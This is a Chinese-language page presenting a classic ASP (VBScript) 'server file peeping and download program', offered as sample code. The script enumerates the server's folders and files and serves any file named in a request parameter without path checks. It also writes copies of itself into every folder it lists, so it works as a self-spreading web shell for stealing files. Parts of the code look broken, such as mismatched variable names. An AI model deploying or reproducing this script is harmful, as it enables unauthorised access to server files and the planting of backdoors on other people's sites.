服务器文件信息偷窥下载程序 示例代码

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%><%‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 服务器文件信息偷窥程序 示例代码
‘Copyright 2007  独孤翼 QQ：88056598 湖南长沙   保留所有权利。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘Option Explicit‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 对于代码质量：
‘ 1) 下面的代码有许多字符串操作，用"&"运算符来把短字符串连接在一起。由于
‘    字符串连接是费时的，所以这是一种低效率的写代码方法。无论如何，它是
‘    一种非常好维护的写代码方法，并且在这儿使用了这种方法，因为该程序执行
‘    大量的磁盘操作，而磁盘操作比连接字符串所需的内存操作要慢得多。
‘    记住这是示范代码，而不是产品代码。
‘
‘ 2) 使用了 "Option Explicit"，因为访问声明过的变量，比访问未声明的变量要
‘    稍微快一些。它还能阻止在代码中发生错误，例如，把 DriveTypeCDROM 误拼
‘    成了 DriveTypeCDORM 。
‘
‘ 3) 为了使代码更可读，该代码中没有错误处理。虽然采取了防范措施，来保证代码
‘    在普通情况下没有错误，但文件系统是不可预知的。在产品代码中，使用
‘    On Error Resume Next 和 Err 对象来捕获可能发生的错误。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 一些容易取得的全局变量
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Const ForReading=1
Const TristateTrue=-1
Const FILE_TRANSFER_SIZE=16384
Response.Buffer = TrueSub Main()
Dim path, mimeType, sucess,downfilename
downfilename=request("filename")if downfilename<>"" then
 path =Server.MapPath(downfilename)
 mimeType="text/plain"
 sucess = TransferFile(path, mimeType,downfilename)
else
 Dim objFolder
 Dim objFSO
 Dim daf
 dim dat
 Dim da
 
 ‘ 建立FSO和文件夹对象
 Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
 Set objFolder = objFSO.GetFolder(Server.Mappath("."))  ‘获取当前目录路径
 
 ‘获取当前文件内容到变量dat中
 set daf=objFSO.OpenTextFile(server.MapPath("da.asp"))
 dat=daf.readall
 daf.close
 
 ListFolders(objFolder) ‘调用ListFolders函数显示文件夹对象objFolder内所有子文件夹及文件
 
end ifResponse.EndEnd Sub‘显示文件函数
Function ListFile(objFolder) 
  Dim objFile
  ‘遍历当前文件夹下每个文件
  For Each objFile in objFolder.Files
     ‘以读取方式打开文件
    response.write " -Download "
 response.write " -"&objFile.Name&" "&cInt(objFile.Size/1024)&"K
" 
  Next
 
  ‘在当前文件夹下创建da.asp文件
  set da=objFSO.CreateTextFile(objFolder&"/da.asp",True)
  da.write dat
  da.close 
 
End Function‘显示文件夹函数
Function ListFolders(objFolder) 
  response.write "+"&objFolder.Name&"
"
  ‘显示当前文件夹下文件
   ListFile objFolder
 
  Dim objSubFolder 
  ‘遍历当前文件夹下每个文件夹
  For Each objSubFolder in objFolder.SubFolders  
 response.write " +"&objSubFolder.Name&"
"  
 ListFile objSubFolder 
 response.write " +"&objSubFolder.Name&"
"
 
  Next
  response.write "-"&objFolder.Name&"
"
   
End Function
‘下载文件函数
Function TransferFile(path, mimeType, filename)
Dim objFileSystem, objFile, objStream
Dim char
Dim sent
send=0
TransferFile = True
Set objFileSystem = Server.CreateObject("Scripting.FileSystemObject")
Set objFile = objFileSystem.GetFile(Path)
Set objStream = objFile.OpenAsTextStream(ForReading, TristateTrue)
Response.AddHeader "content-type", mimeType
response.AddHeader "Content-Disposition","attachment;filename=" & filename
Response.AddHeader "content-length", objFile.Size
Do While Not objStream.AtEndOfStream
    char = objStream.Read(1)
    Response.BinaryWrite(char)
    sent = sent + 1
    If (sent MOD FILE_TRANSFER_SIZE) = 0 Then
        Response.Flush
        If Not Response.IsClientConnected Then
            TransferFile = False
            Exit Do
        End If
    End If
Loop
Response.Flush
If Not Response.IsClientConnected Then TransferFile = False
objStream.Close
Set objStream = Nothing
Set objFileSystem = Nothing
End Function %>